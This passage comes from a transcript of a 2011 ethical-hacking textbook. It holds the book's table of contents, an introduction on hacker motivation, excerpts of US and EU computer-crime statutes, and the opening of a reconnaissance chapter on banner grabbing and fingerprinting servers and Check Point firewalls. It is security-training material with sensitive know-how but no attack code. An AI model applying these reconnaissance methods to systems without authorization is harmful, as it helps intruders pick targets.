Top Banner
HACKER TECHNIQUES, EXPLOIT AND INCIDENT HANDELING Defensia 2011 Rafel Ivgi This book introduces the world of hacking and involves the reader with the current players, the rules of the game, motivation and new trends.
285

Hacker techniques, exploit and incident handling

Jan 22, 2018

Download

Internet

Rafel Ivgi
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Hacker techniques, exploit and incident handling

HACKER TECHNIQUES, EXPLOIT AND INCIDENT HANDELING

D e f e n s i a

2 0 1 1

Rafel Ivgi

This book introduces the world of hacking and involves

the reader with the current players, the rules of the

game, motivation and new trends.

Page 2: Hacker techniques, exploit and incident handling

1 | P a g e

TABLE OF CONTENTS Introduction to Ethical Hacking Problem Definition – Why? ........................................................ 11

How does a hacker see the world? ........................................................................................... 11

Hacking - Laws www.usdoj.gov ..................................................................................................... 12

United States of America: Securely Protect Yourself against - Cyber Trespass Act (SPY ACT) . 12

U.S. Federal Laws ....................................................................................................................... 13

Section 1029 .......................................................................................................................... 13

Section 1030 .......................................................................................................................... 14

18 U.S.C. §1362...................................................................................................................... 17

18 U.S.C. §2318 - Trafficking in counterfeit… ........................................................................ 18

18 U.S.C. §2320 - Trademark Offenses Trafficking in counterfeit goods or services ............ 18

18 U.S.C. §1831 - Trade Secret Offenses Economic espionage Law ...................................... 18

47 U.S.C. §605 - Unauthorized publication or use of communications ................................ 18

Foot-printing visiting Reconnaissance ........................................................................................... 20

Foot-Printing each Service Server Software Name and Version ............................................... 20

Foot-Printing HTTP Servers.................................................................................................... 20

Foot-Printing FTP Servers ...................................................................................................... 23

Foot-Printing Telnet Servers .................................................................................................. 23

Fingerprinting VoIP Servers: ...................................................................................................... 24

Fingerprinting Products of Specific Vendors: ............................................................................ 24

WHOIS ....................................................................................................................................... 28

Google Hacking What is Google hacking ....................................................................................... 32

Finding Old Vulnerable Web Pages / Fast & Passive Web Crawling/Spidering ......................... 32

Finding Login Interfaces......................................................................................................... 33

Finding Exploitable Vulnerable Web Systems by Signature ...................................................... 34

Choosing a public exploit:...................................................................................................... 34

Finding the a vulnerable website .......................................................................................... 35

Verifying the vulnerability exists ........................................................................................... 37

Exploiting the Vulnerability ................................................................................................... 38

Opening a free hosting account ............................................................................................ 38

Finding Cameras ........................................................................................................................ 41

Finding Password Files ............................................................................................................... 43

Page 3: Hacker techniques, exploit and incident handling

2 | P a g e

Scanning and Scanning Definition ................................................................................................. 46

Enumeration Overview of System Hacking Cycle .......................................................................... 48

Enumerating the allowed HTTP Methods on a Web Server:..................................................... 48

Enumerating Usernames Using Google ..................................................................................... 49

Exposed Configuration Files .................................................................................................. 49

Company Email Addresses: ................................................................................................... 50

SMTP Enumeration (VRFY, EXPN, RCPT TO, NDR) ..................................................................... 51

Using the SMTP VRFY Command ........................................................................................... 51

Using the SMTP EXPN Command .......................................................................................... 52

Using the SMTP RCPT TO Command ..................................................................................... 53

Non Delivery Response (NDR) ............................................................................................... 54

POP3 Enumeration .................................................................................................................... 54

Private User Directories............................................................................................................. 56

Apache User Enumeration ..................................................................................................... 56

WordPress Authors Template User Enumeration Vulnerability ........................................... 56

FTP ............................................................................................................................................. 58

CWD Username Enumeration Vulnerability (Example: Solaris in.ftpd) ................................ 58

FTP Server Authentication Delay Username Enumeration Vulnerability (Example: ProFTPD)

............................................................................................................................................... 58

Telnet ......................................................................................................................................... 58

Telnet Server User Field Account Enumeration (Example: Cisco Aironet) ............................ 58

Web Server Pre-Login – HTTP Response based enumeration (Example: Lotus Domini) .......... 58

Error Message User Enumeration: ............................................................................................ 59

NetBIOS User Enumeration ....................................................................................................... 59

Mcafee FoundStone SuperScan 4: ........................................................................................ 61

NetBIOS Enumerator ............................................................................................................. 62

GFI Languard .......................................................................................................................... 63

SNMP Enumeration ................................................................................................................... 63

DNS Enumeration ...................................................................................................................... 64

Dictionary Based DNS Enumeration ...................................................................................... 65

Brute Forcing DNS Sub-Domains ............................................................................................... 65

VoIP User Enumeration ............................................................................................................. 66

Page 4: Hacker techniques, exploit and incident handling

3 | P a g e

Enumerating Extensions: ....................................................................................................... 66

Enumerate Usernames: (Example: Inter Asterisk Exchange protocol) ................................. 66

Citrix Published Applications Remote Enumeration ................................................................. 67

System Hacking Part 1- Cracking Password ................................................................................... 69

Brute Forcing Passwords – Telnet: ............................................................................................ 69

Cracking Accounts Using Hydra ................................................................................................. 69

Cracking Accounts Using Medusa: ............................................................................................ 70

Brute Forcing Check Point Client Authentication Remote Service ............................................ 71

Brute Forcing Citrix ICA Servers ................................................................................................. 71

Trojans and Backdoors Effect on Business .................................................................................... 76

Auto Dialers ............................................................................................................................... 77

FraudWare ................................................................................................................................. 77

Keylogger ................................................................................................................................... 78

Spyware & Browser Trojans ...................................................................................................... 79

Trojans ....................................................................................................................................... 79

Password Stealers ...................................................................................................................... 79

RansomWare ............................................................................................................................. 80

Viruses and Worms Virus History .................................................................................................. 82

Local Replicating Viruses ........................................................................................................... 82

Worms ....................................................................................................................................... 83

Antivirus..................................................................................................................................... 83

Packers/Crypters – Bypassing Anti-Viruses ............................................................................... 84

Netcat - Original – Less Then Packed .................................................................................... 85

Netcat * RDG PolyPack v1.1 .................................................................................................. 88

Poison Ivy ............................................................................................................................... 89

SCPack 1.1 .............................................................................................................................. 89

Alternate EXE Packer ............................................................................................................. 91

Alternate EXE Packer ............................................................................................................. 92

Poison Ivy * MEW .................................................................................................................. 93

Poison Ivy * ACprotect .......................................................................................................... 94

sixxpack v2.2Eng .................................................................................................................... 95

DotFuscator ............................................................................................................................... 95

Page 5: Hacker techniques, exploit and incident handling

4 | P a g e

Sniffers Definition – Sniffing .......................................................................................................... 98

Man in the Middle ..................................................................................................................... 98

Hub vs. Switch ........................................................................................................................... 98

MAC Spoofing ............................................................................................................................ 99

MAC Flooding / CAM Table Overflow...................................................................................... 100

Description .......................................................................................................................... 100

MAC Flooding ...................................................................................................................... 100

Port Stealing ............................................................................................................................ 102

STP mangling ........................................................................................................................... 104

Address Resolution Protocol (ARP) Spoofing .......................................................................... 104

IP Spoofing ............................................................................................................................... 105

VLANS ...................................................................................................................................... 106

ICMP Redirect .......................................................................................................................... 107

Public Key Exchanging ............................................................................................................. 109

Command Injection ................................................................................................................. 110

Malicious Code Injection ......................................................................................................... 110

Downgrade Attacks - SSH V2 to V1 ......................................................................................... 110

Downgrade Attacks - SSH V2 to V1...................................................................................... 110

Downgrade Attacks - IPSEC Failure ......................................................................................... 110

Downgrade Attacks – PPTP ..................................................................................................... 111

PPTP: .................................................................................................................................... 111

Social Engineering ....................................................................................................................... 112

Email Spoofing ......................................................................................................................... 112

Social Engineering Tool-Kit ...................................................................................................... 114

Tab-Nabbing ............................................................................................................................ 119

ClickJacking / Interface Spoofing ............................................................................................. 119

Phishing ....................................................................................................................................... 121

Diversion theft ......................................................................................................................... 121

Quid pro quo ........................................................................................................................... 122

Social Engineering - Source Validation .................................................................................... 122

Pretexting – Collecting Names, Emails & Phone Numbers ..................................................... 123

Pretexting – Collecting Names & Roles ................................................................................... 124

Page 6: Hacker techniques, exploit and incident handling

5 | P a g e

Target and Attack .................................................................................................................... 125

Social Engineering by Phone ................................................................................................... 126

Dumpster Diving ...................................................................................................................... 127

On-Line Social Engineering ...................................................................................................... 127

Persuasion ............................................................................................................................... 128

Reverse Social Engineering ...................................................................................................... 129

Hacking Email Accounts ............................................................................................................... 130

Key-logging: The Easiest Way! ................................................................................................ 130

Phishing: The Difficult Way ..................................................................................................... 130

Common Myths and Scams Associated with Email Hacking ................................................... 130

Denial-of-Service Real World Scenario of D.o.S Attacks ............................................................. 132

Ping of Death ........................................................................................................................... 132

Permanent denial-of-service attacks – PDOS .......................................................................... 132

IP Spoofing ............................................................................................................................... 133

Land Attack .............................................................................................................................. 133

SYN Flood ................................................................................................................................. 134

SYN Flood + IP Spoofing ........................................................................................................... 136

Reflected attack: Source IP Spoofing + SYN Sent .................................................................... 137

Distributed attack – DDOS ....................................................................................................... 138

Amplification/Smurf attack ..................................................................................................... 140

Session Hi-Jacking - What is Session Hi-Jacking? ......................................................................... 142

Hacking Web Servers How Web Servers Work ........................................................................... 148

Components of a generic web application system ................................................................. 148

URL mappings to the web application system ........................................................................ 149

Flowchart for a one-way web hack ......................................................................................... 150

Finding the entry point ............................................................................................................ 151

Exploiting poorly validated input parameters ..................................................................... 152

Exploiting SQL injection ....................................................................................................... 152

Invoking the command interpreter ..................................................................................... 153

Posting commands to CMD.EXE .......................................................................................... 153

Posting commands to /bin/sh ............................................................................................. 154

Automating the POST process ............................................................................................. 155

Page 7: Hacker techniques, exploit and incident handling

6 | P a g e

Output of post_cmd.pl ........................................................................................................ 155

Web based command prompt............................................................................................. 157

Perl - perl_shell.cgi .............................................................................................................. 157

ASP - cmdasp.asp ................................................................................................................. 158

PHP - sys.php ....................................................................................................................... 160

JSP - cmdexec.jsp ................................................................................................................. 160

Installing the Web based command prompt ....................................................................... 161

Re-creating arbitrary binary files ......................................................................................... 162

File uploader ............................................................................................................................ 162

ASP - upload.asp and upload.inc ......................................................................................... 162

Perl - upload.cgi ................................................................................................................... 163

PHP - upload.php ................................................................................................................. 164

One-Way Privilege Escalation .................................................................................................. 165

Web Application Vulnerabilities Web Application Setup ............................................................ 169

XSS – Cross-Site-Scripting ........................................................................................................ 169

Introduction ......................................................................................................................... 169

Reflected XSS (Type I) .......................................................................................................... 169

Permanent (Stored) XSS ...................................................................................................... 170

DOM XSS .............................................................................................................................. 170

XSS-Shell .............................................................................................................................. 170

XSS Worms ........................................................................................................................... 171

The Future of SPAM ............................................................................................................. 171

D.o.S attacks ........................................................................................................................ 172

Information Gathering ......................................................................................................... 173

Automated exploiting bots .................................................................................................. 173

Malware Script Detector ..................................................................................................... 174

Cross Site Request Forgery (CSRF/XSRF/Session Riding) ......................................................... 174

Introduction ......................................................................................................................... 174

The risks and common uses ................................................................................................ 175

Tokens vs. Personal Information as a solution for CSRF ..................................................... 176

Open/Un-Validated Site Redirection / Cross Domain Redirect ............................................... 177

Common uses and Risks ...................................................................................................... 178

Page 8: Hacker techniques, exploit and incident handling

7 | P a g e

Validating Redirects and Forwards ...................................................................................... 179

SQL-injection - What is SQL Injection? ........................................................................................ 180

Introduction ............................................................................................................................. 180

The Practice ............................................................................................................................. 181

Error Based SQL Injection .................................................................................................... 181

Union Based SQL Injection .................................................................................................. 181

Taking Over the Machine .................................................................................................... 182

SQL injection as a lead to other vulnerabilities ....................................................................... 183

SQL injection Automated tools ................................................................................................ 183

SQL injection Prevention ......................................................................................................... 185

Web-Based Password Cracking Techniques Authentication – Definition .................................. 186

Hacking Wireless Networks ......................................................................................................... 193

Introduction ............................................................................................................................. 193

Wireless LAN Overview ........................................................................................................... 193

Stations and Access Points .................................................................................................. 194

Channels .............................................................................................................................. 194

WEP ..................................................................................................................................... 194

Infrastructure and Ad Hoc Modes ....................................................................................... 194

Frames ................................................................................................................................. 195

Authentication ..................................................................................................................... 195

Association .......................................................................................................................... 196

Wireless Network Sniffing ....................................................................................................... 197

Passive Scanning .................................................................................................................. 197

Detection of SSID ................................................................................................................. 198

Collecting the MAC Addresses............................................................................................. 198

Collecting the Frames for Cracking WEP ............................................................................. 199

Detection of the Sniffers ..................................................................................................... 200

Wireless Spoofing .................................................................................................................... 200

MAC Address Spoofing ........................................................................................................ 200

IP spoofing ........................................................................................................................... 200

Frame Spoofing.................................................................................................................... 201

Wireless Network Probing ....................................................................................................... 201

Page 9: Hacker techniques, exploit and incident handling

8 | P a g e

Detection of SSID ................................................................................................................. 202

Detection of Probing ........................................................................................................... 202

AP Weaknesses ........................................................................................................................ 202

Configuration ....................................................................................................................... 203

Defeating MAC Filtering ...................................................................................................... 203

Rogue AP ............................................................................................................................. 203

Trojan AP ............................................................................................................................. 203

Equipment Flaws ................................................................................................................. 203

Denial of Service ...................................................................................................................... 204

Jamming the Air Waves ....................................................................................................... 204

Flooding with Associations .................................................................................................. 204

Forged Dissociation ............................................................................................................. 205

Forged De-Authentication ................................................................................................... 205

Power Saving ....................................................................................................................... 205

Man-in-the-Middle Attacks ..................................................................................................... 205

Wireless MITM .................................................................................................................... 206

ARP Poisoning ...................................................................................................................... 206

Session Hijacking ................................................................................................................. 207

War Driving .............................................................................................................................. 207

War chalking ........................................................................................................................ 208

Typical Equipment ............................................................................................................... 208

Wireless Security Best Practices .............................................................................................. 209

Location of the APs .............................................................................................................. 209

Proper Configuration ........................................................................................................... 209

Secure Protocols .................................................................................................................. 210

Wireless IDS ......................................................................................................................... 210

Wireless Auditing ................................................................................................................. 211

Newer Standards and Protocols .......................................................................................... 211

Software Tools ..................................................................................................................... 211

Conclusion ............................................................................................................................... 212

Physical Security .......................................................................................................................... 213

Dumpster diving ...................................................................................................................... 213

Page 10: Hacker techniques, exploit and incident handling

9 | P a g e

Overt document stealing ......................................................................................................... 213

CRT vs. LCD vs. LED – Remote Screen Eavesdropping ............................................................. 213

Ethernet vs. Optic Fibers ......................................................................................................... 214

Linux Hacking - Why Linux? ......................................................................................................... 217

Linux/Apache privilege escalation ........................................................................................... 217

Uploading the UNIX attack tools ............................................................................................. 217

ptrace1.c .............................................................................................................................. 217

Evading IDS, Firewalls and Detecting Honey Pots Introduction to Intrusion .............................. 223

Introduction ............................................................................................................................. 223

Honeypots versus steganography ........................................................................................... 223

Tools .................................................................................................................................... 224

User Mode Linux (UML) ....................................................................................................... 224

VMware ............................................................................................................................... 227

Detecting additional lines of defense: chroot and jails ....................................................... 229

Practical examples (continued) ............................................................................................... 230

Sebek-based Honeypots ...................................................................................................... 230

Snort_inline ......................................................................................................................... 231

Fake AP ................................................................................................................................ 232

Bait and Switch Honeypots .................................................................................................. 232

Summary.................................................................................................................................. 233

Conclusion ............................................................................................................................... 234

Buffer Overflows Why is Programs/Applications Vulnerable? .................................................... 235

Verify the bug .......................................................................................................................... 235

Verify the bug – and see if it could be interesting .................................................................. 236

Before we proceed – some theory .......................................................................................... 236

Process Memory .................................................................................................................. 237

The Stack ............................................................................................................................. 239

The debugger ....................................................................................................................... 247

Determining the buffer size to write exactly into EIP ......................................................... 251

Find memory space to host the shellcode .......................................................................... 255

Jump to the shellcode in a reliable way .................................................................................. 258

Get shellcode and finalize the exploit ..................................................................................... 263

Page 11: Hacker techniques, exploit and incident handling

10 | P a g e

What if you want to do something else than launching calc? ................................................ 265

Heap Overflows ....................................................................................................................... 270

Exploiting Heap Overflows .................................................................................................. 271

Off-By-One ............................................................................................................................... 275

Signed vs. Un-Signed ............................................................................................................... 275

Memory Protection Mechanisms ............................................................................................ 276

Security Cookie (Canary) ..................................................................................................... 276

SafeSEH ................................................................................................................................ 277

Address Space Layout Randomization (ASLR) ..................................................................... 278

NX (No eXecute – Hardware DEP) ....................................................................................... 279

NX – In Sun VM Environment .............................................................................................. 280

NX – Process Support .......................................................................................................... 281

Cryptography ............................................................................................................................... 282

Hash ......................................................................................................................................... 282

MD5 HASH “Reverse” .............................................................................................................. 282

Rainbow Tables ....................................................................................................................... 284

Page 12: Hacker techniques, exploit and incident handling

11 | P a g e

Introduction to Ethical Hacking Problem Definition – Why?

In the past, hackers were kids who hacked in order to prove themselves as the smartest

community and the best technologists. After they succeeded in remotely penetrating into the

organization and gained control over an organization’s machine, they would usually stop there

and keep the vulnerability information for themselves or within their close community circle.

Today, Hackers are people at all ages, motivated mostly by money. Where in past times a White-

Hat hacker known as a “Security Researcher” would publish an information security advisory for

free, to make himself a reputation and create new career opportunities, today those security

vulnerabilities are worth tens of thousands of dollars and are sold to private companies.

In resemblance to the hacking scene, the cracking scene has also changed, where in the past the

cracking scene was compiled of a few famous group such as Myth, Fair-Light, Divine, Deviance,

Paradigm which were mostly collections of teenagers interested in software piracy, who

believed in creating “a money free world where all computer games and software are available

to the rich and the poor”. Today, the cracking scene has shrunk to its core and most of the crack

download portals are driven by organized crime which deliberately provides free software

cracks with a Trojan downloader, creating computerized armies controlled by a botnet.

How does a hacker see the world?

The world’s computer industries work to provide solutions to the needs of normal users. The

solution begins with an initiative/startup venture which is designed by the Chief Architect and

passed down the chain to a product manager which defines the user needs and the optimal user

experience, down to a software developer who implements the defined requirements in

practice. It is important to remember that all of the people in this chain are normal people, who

have a unified mission: creating a specific solution for a user/organization.

A true hacker, is not a user and is not just a developer, not just an architect, he is all of them

when it regards to the system’s security. The hacker reviews the system and inspects the way

the information flows between each level of the system as a whole, from the application level all

the way down to the bits leaving the machine’s network interface. For the hacker, the graphical

user interface is just a mask for the underlying truth to discover by using hacking tools.

A system could run on production for years and be used by thousands of normal and advanced

users without noticing an obvious security flaw that a hacker can pick up in just a few minutes,

that is why a system that wasn’t approved for used by a hacker, is not safe from one.

Page 13: Hacker techniques, exploit and incident handling

12 | P a g e

Hacking - Laws www.usdoj.gov

United States of America:

Securely Protect Yourself against - Cyber Trespass Act (SPY ACT)

SEC. 2. PROHIBITION OF [UNFAIR OR] DECEPTIVE ACTS OR PRACTICES RELATING TO SPYWARE.

(a) Prohibition- It is unlawful for any person, who is not the owner or authorized user of a

protected computer, to engage in unfair or deceptive acts or practices that involve any

of the following conduct with respect to the protected computer:

(1) Taking control of the computer by:

(a) Utilizing a computer to send unsolicited information or material from the

computers to other computers

(B) Diverting the Internet browser of the computer, or similar program of the

computer used to access and navigate the Internet:

(i) Without authorization of the owner or authorized user of the

computer; and

(ii) away from the site the user intended to view, to one or more other

Web pages, such that the user is prevented from viewing the content at

the intended web page, unless such diversion it otherwise authorized.

(C) accessing, hijacking, or otherwise using the modem, or Internet connection

or service, for the computer and thereby causing damage to the computer or

causing the owner or authorized user or a third party defrauded by such

conduct to incur charges or other costs for a service that is not authorized by

such owner or authorized user;

(E) Delivering advertisements that a user of the computer cannot close without

undue effort or knowledge by the user or without turning off the computer or

closing all sessions of the Internet browser for the computer.

– (2) Modifying settings related to use of the computer or to the computer's

access to or use of the Internet by altering:

– (A) the Web page that appears when the owner or authorized user

launches an Internet browser or similar program used to access and

navigate the Internet;

– (B) the default provider used to access or search the Internet, or other

existing Internet connections settings;

Page 14: Hacker techniques, exploit and incident handling

13 | P a g e

– (3) Collecting personally identifiable information through the use of a

keystroke logging function

- (4) Inducing the owner or authorized user of a computer to disclose personally

identifiable information by means of a webpage that:

- (A) is substantially similar to a Web page established or provided by

another person; and

- (b) misleads the owner or authorized user that such Web page is

provided by such other person

U.S. Federal Laws

• 18 U.S.C §1029. Fraud and Related Activity in Connection with Access Devices

• 18 U.S.C §1030. Fraud and Related Activity in Connection with Computers

• 18 U.S.C §1362. Communication Lines, Stations, or Systems

• 18 U.S.C §2510. et seq. Wire and Electronic Communications Interception and

Interception of Oral Communications

• 18 U.S.C §2701 et seq. Stored Wire and Electronic Communications and Transactional

Records Access

Section 1029

Subsection (a) who will:

(1) Knowingly and with intent to defraud produces, uses, or traffics in one or more

counterfeit access devices;

(2) knowingly and with intent to defraud traffics in or uses one or more unauthorized

access devices during any one-year period, and by such conduct obtains anything of

value aggregating $1,000 or more during that period;

(3) Knowingly and with intent to defraud possesses fifteen or more devices which are

counterfeit or unauthorized access devices;

(4) Knowingly, and with intent to defraud, produces, traffics in, has control or custody

of, or possesses device-making equipment;

(5) knowingly and with intent to defraud effects transactions, with 1 or more access

devices issued to another person or persons, to receive payment or any other thing of

value during any 1-year period the aggregate value of which is equal to or greater than

$1,000;

(6) Without the authorization of the issuer of the access device, knowingly and with

intent to defraud solicits a person for the purpose of:

Page 15: Hacker techniques, exploit and incident handling

14 | P a g e

(A) Offering an access device; or

(B) Selling information regarding or an application to obtain an access device;

(7) Knowingly and with intent to defraud uses, produces, traffics in, has control or

custody of, or possesses a telecommunications instrument that has been modified or

altered to obtain unauthorized use of telecommunications services;

(8) Knowingly and with intent to defraud uses, produces, traffics in, has control or

custody of, or possesses a scanning receiver;

(9) Knowingly uses, produces, traffics in, has control or custody of, or possesses

hardware or software, knowing it has been configured to insert or modify

telecommunication identifying information associated with or contained in a

telecommunications instrument so that such instrument may be used to obtain

telecommunications service without authorization; or

(10) Without the authorization of the credit card system member or its agent, knowingly

and with intent to defraud causes or arranges for another person to present to the

member or its agent, for payment, 1 or more evidences or records of transactions made

by an access device.

The Punishments:

(A) In the case of an offense that does not occur after a conviction for another offense

under this section:

(i) If the offense is under paragraph (1), (2), (3), (6), (7), or (10) of subsection (a),

a fine under this title or imprisonment for not more than 10 years, or both; and

(ii) If the offense is under paragraph (4), (5), (8), or (9) of subsection (a), a fine

under this title or imprisonment for not more than 15 years, or both;

(B) in the case of an offense that occurs after a conviction for another offense under this

section, a fine under this title or imprisonment for not more than 20 years, or both; and

(C) in either case, forfeiture to the United States of any personal property used or

intended to be used to commit the offense

Section 1030

Subsection (1): having knowingly accessed a computer without authorization or exceeding

authorized access, and by means of such conduct having obtained information that has been

determined by the United States Government pursuant to an Executive order or statute to

require protection against unauthorized disclosure for reasons of national defense or foreign

Page 16: Hacker techniques, exploit and incident handling

15 | P a g e

relations, or any restricted data, as defined in paragraph y of section 11 of the Atomic Energy

Act of 1954, with reason to believe that such information so obtained could be used to the

injury of the United States, or to the advantage of any foreign nation willfully communicates,

delivers, transmits, or causes to be communicated, delivered, or transmitted, or attempts to

communicate, deliver, transmit or cause to be communicated, delivered, or transmitted the

same to any person not entitled to receive it, or willfully retains the same and fails to deliver it

to the officer or employee of the United States entitled to receive it;

(2) (A) (B) (C):

(2) Intentionally accesses a computer without authorization or exceeds authorized

access, and thereby obtains:

(A) information contained in a financial record of a financial institution, or of a

card issuer as defined in section 1602(n) of title 15, or contained in a file of a

consumer reporting agency on a consumer, as such terms are defined in the Fair

Credit Reporting Act (15 U.S.C. 1681 et seq.);

(B) Information from any department or agency of the United States; or

(C) Information from any protected computer if the conduct involved an

interstate or foreign communication;

(3) intentionally, without authorization to access any nonpublic computer of a

department or agency of the United States, accesses such a computer of that

department or agency that is exclusively for the use of the Government of the United

States or, in the case of a computer not exclusively for such use, is used by or for the

Government of the United States and such conduct affects that use by or for the

Government of the United States;

(4) knowingly and with intent to defraud, accesses a protected computer without

authorization, or exceeds authorized access, and by means of such conduct furthers the

intended fraud and obtains anything of value, unless the object of the fraud and the

thing obtained consists only of the use of the computer and the value of such use is not

more than $5,000 in any 1-year period;

(5)(A)(i) Knowingly causes the transmission of a program, information, code, or

command, and as a result of such conduct, intentionally causes damage without

authorization, to a protected computer

(ii) intentionally accesses a protected computer without authorization, and as a

result of such conduct, recklessly causes damage; or

(iii) Intentionally access a protected computer without authorization, and as a

result of such conduct, causes damage; and

Page 17: Hacker techniques, exploit and incident handling

16 | P a g e

(5)(B) By conduct described in clause (i), (ii), or (iii) of subparagraph (A), caused (or, in

the case of an attempted offense, would, if completed, have caused):

(i) loss to 1 or more persons during any 1-year period (and, for purposes of an

investigation, prosecution, or other proceeding brought by the United States

only, loss resulting from a related course of conduct affecting 1 or more other

protected computers) aggregating at least $5,000 in value;

(ii) The modification or impairment, or potential modification or impairment, of

the medical examination, diagnosis, treatment, or care of 1 or more individuals;

(iii) physical injury to any person;

(iv) a threat to public health or safety; or

(v) damage affecting a computer system used by or for a government entity in

furtherance of the administration of justice, national defense, or national

security;

(6) Knowingly and with intent to defraud traffics (as defined in section 1029) in any

password or similar information through which a computer may be accessed without

authorization, if:

(A) Such trafficking affects interstate or foreign commerce; or

(B) such computer is used by or for the Government of the United States;

(7) With intent to extort from any person any money or other thing of value, transmits

in interstate or foreign commerce any communication containing any threat to cause

damage to a protected computer;

The Punishments:

(1)(A) a fine under this title or imprisonment for not more than ten years, or both, in the

case of an offense under subsection (a)(1) of this section which does not occur after a

conviction for another offense under this section, or an attempt to commit an offense

punishable under this subparagraph; and

(B) a fine under this title or imprisonment for not more than twenty years, or both, in

the case of an offense under subsection (a)(1) of this section which occurs after a

conviction for another offense under this section, or an attempt to commit an offense

punishable under this subparagraph;

(2)(A) except as provided in subparagraph (B), a fine under this title or imprisonment for

not more than one year, or both, in the case of an offense under subsection (a)(2),

(a)(3), (a)(5)(A)(iii), or (a)(6) of this section which does not occur after a conviction for

Page 18: Hacker techniques, exploit and incident handling

17 | P a g e

another offense under this section, or an attempt to commit an offense punishable

under this subparagraph;

(B) a fine under this title or imprisonment for not more than 5 years, or both, in the case

of an offense under subsection (a)(2), or an attempt to commit an offense punishable

under this subparagraph, if:

• (i) the offense was committed for purposes of commercial advantage or

private financial gain;

• (ii) The offense was committed in furtherance of any criminal or tortuous act

in violation of the Constitution or laws of the United States or of any State; or

• (iii) The value of the information obtained exceeds $5,000;

(C) a fine under this title or imprisonment for not more than ten years, or both, in the

case of an offense under subsection (a)(2), (a)(3) or (a)(6) of this section which occurs

after a conviction for another offense under this section, or an attempt to commit an

offense punishable under this subparagraph;

(3)(A) a fine under this title or imprisonment for not more than five years, or both, in the

case of an offense under subsection (a)(4) or (a)(7) of this section which does not occur

after a conviction for another offense under this section, or an attempt to commit an

offense punishable under this subparagraph; and (3)(B) a fine under this title or

imprisonment for not more than ten years, or both, in the case of an offense under

subsection (a)(4), (a)(5)(A)(iii), or (a)(7) of this section which occurs after a conviction for

another offense under this section, or an attempt to commit an offense punishable

under this subparagraph; and

18 U.S.C. §1362

This law applies when:

• Person willfully injures or destroys any of the works, property, or material of any

means of communication

• Maliciously obstructs, hinders, or delays the transmission of any communication

Punishment:

• A fine or imprisonment for not more than 10 years, or both

Page 19: Hacker techniques, exploit and incident handling

18 | P a g e

18 U.S.C. §2318 - Trafficking in counterfeit…

Label for phone records, copies of computer programs or computer program documentation or

packaging, and copies of motion pictures or other audio visual works, and trafficking in

counterfeit computer program documentation or packaging

This law applies when:

• Person knowingly traffics in a counterfeit label affixed or designed to be affixed

• Intentionally traffics in counterfeit documentation or packaging for a computer

program

Punishment:

• A financial fine or imprisoned for not more than five years both

18 U.S.C. §2320 - Trademark Offenses Trafficking in counterfeit goods or services

This law applies when:

• Person intentionally traffics or attempts to traffic in goods or services

• Knowingly uses a counterfeit mark

Punishment:

• A financial fine of not more than $2,000,000 or imprisoned not more than 10 years, or

both

18 U.S.C. §1831 - Trade Secret Offenses Economic espionage Law

This law applies when:

• Person knowingly steals or without authorization obtains a trade secret

• Without authorization copies or transmits a trade secret

• Receives, buys, or possesses a trade secret

Punishment:

• A financial fine of not more than $10,000,000

47 U.S.C. §605 - Unauthorized publication or use of communications

This law applies when:

Page 20: Hacker techniques, exploit and incident handling

19 | P a g e

• Receiving, assisting in receiving, transmitting, or assisting in transmitting, any

interstate or foreign communication by wire or radio

• Intercepting any radio communication and divulging or publishing the existence,

contents, substance, purport, effect, or meaning of such intercepted communication

to any person

• Scrambling of Public Broadcasting Service programming

Punishment:

• A financial fine of not more than $2,000 or imprisoned for not more than 6 months, or

both

More US Laws:

• Federal Managers Financial Integrity Act of 1982

• The Freedom of Information Act [5 U.S.C.§552]

• Federal Information Security Management Act (FISMA)

• The Privacy Act Of 1974 [5 U.S.C.§552a]

• USA Patriot Act of 2001

• Government Paperwork Elimination Act (GPEA)

European Union:

• SUBSTANTIVE CRIMINAL LAW

o Offences against the confidentiality, integrity and availability of computer data

and systems

o illegal Access: Each Party shall adopt such legislative and other measures as may

be necessary to establish as criminal offences under its domestic law, when

committed intentionally, the access to the whole or any part of a computer

system without right

o Illegal Interception

o Data Interference

UK:

• Computer Misuse Act 1990

• Police and Justice Act 2006

Page 21: Hacker techniques, exploit and incident handling

20 | P a g e

Foot-printing visiting Reconnaissance

Reconnaissance is the step where the attacker attempts to retrieve as much information as

possible on the target. Reconnaissance is truly an art and is one of the most important stages of

the attack process. It is the eyes of the hacker on the hacking court and without it he must

attack blindly, minimizing the odds of success to its minimum.

Foot-Printing each Service Server Software Name and Version

Foot-Printing HTTP Servers Getting the server type and disclosing internal information such as the local machine’s internal name, internal IP, usage of

a proxy or a reverse proxy and etc…

The following error page reveals that the server is Apache Tomcat, the Machine’s internal name and that the error source

was the proxy component:

The following reveals the server’s type and its exact version:

Page 22: Hacker techniques, exploit and incident handling

21 | P a g e

It is possible to change the values of the request parameters, retrieve application errors and

determine the operating system and the local path of the website root folder:

It is possible to identify the server type, the development platform, and installed plugins by

inspecting the returned HTTP headers and the supported HTTP Methods.

Page 23: Hacker techniques, exploit and incident handling

22 | P a g e

Page 24: Hacker techniques, exploit and incident handling

23 | P a g e

Foot-Printing FTP Servers

The server’s banner header, which contains the server name and version, is exposed by default on most File Transfer

Protocol (FTP) servers. This means that all that an attacker is required to do is connect to the server and analyze the first

non-empty line of text. For Example:

220-Serv-U FTP Server v6.4 for WinSock ready...

220-Welcome to XXXXX, home of Your FTP Server

220-

220 Local time is 13:36:08,

Foot-Printing Telnet Servers

Some telnet servers have banners revealing the name of the vendor, organization or product:

Page 25: Hacker techniques, exploit and incident handling

24 | P a g e

Some servers have a scary warning message which may be used to identify the product or

remotely identify that several machines belong to the same organization. For Example:

Fingerprinting VoIP Servers: One of the most VoIP security assessment toolkits is called SIP-Vicious.

Fingerprinting Products of Specific Vendors:

It is possible to identify specific vendors by common texts or messages used by that vendor for

title, errors and authentication requests. For example, a web server with “Basic Authentication”

on practically every cisco product will have the message “level_15_access”, by default:

Page 26: Hacker techniques, exploit and incident handling

25 | P a g e

Using ZenMap (Nmap GUI) to fingerprint the exact type and product version:

Scanning for “listening on TCP port 990, finds a Brute-Force-able Check Point Firewall VPN:

Page 27: Hacker techniques, exploit and incident handling

26 | P a g e

On some implementations it is reconfigured to listen on port 80:

Scanning for “Check Point Certificate Services” listening on TCP port 18264 has always proved

itself for finding Check-Point firewalls:

Page 28: Hacker techniques, exploit and incident handling

27 | P a g e

Page 29: Hacker techniques, exploit and incident handling

28 | P a g e

Identifying Check Point VPN-1 Edge Portal

WHOIS

Any IP and Domain on internet are registered to someone. It is possible to query the public

databases and retrieve information about the owner of an IP or Domain. Querying IPs is mostly

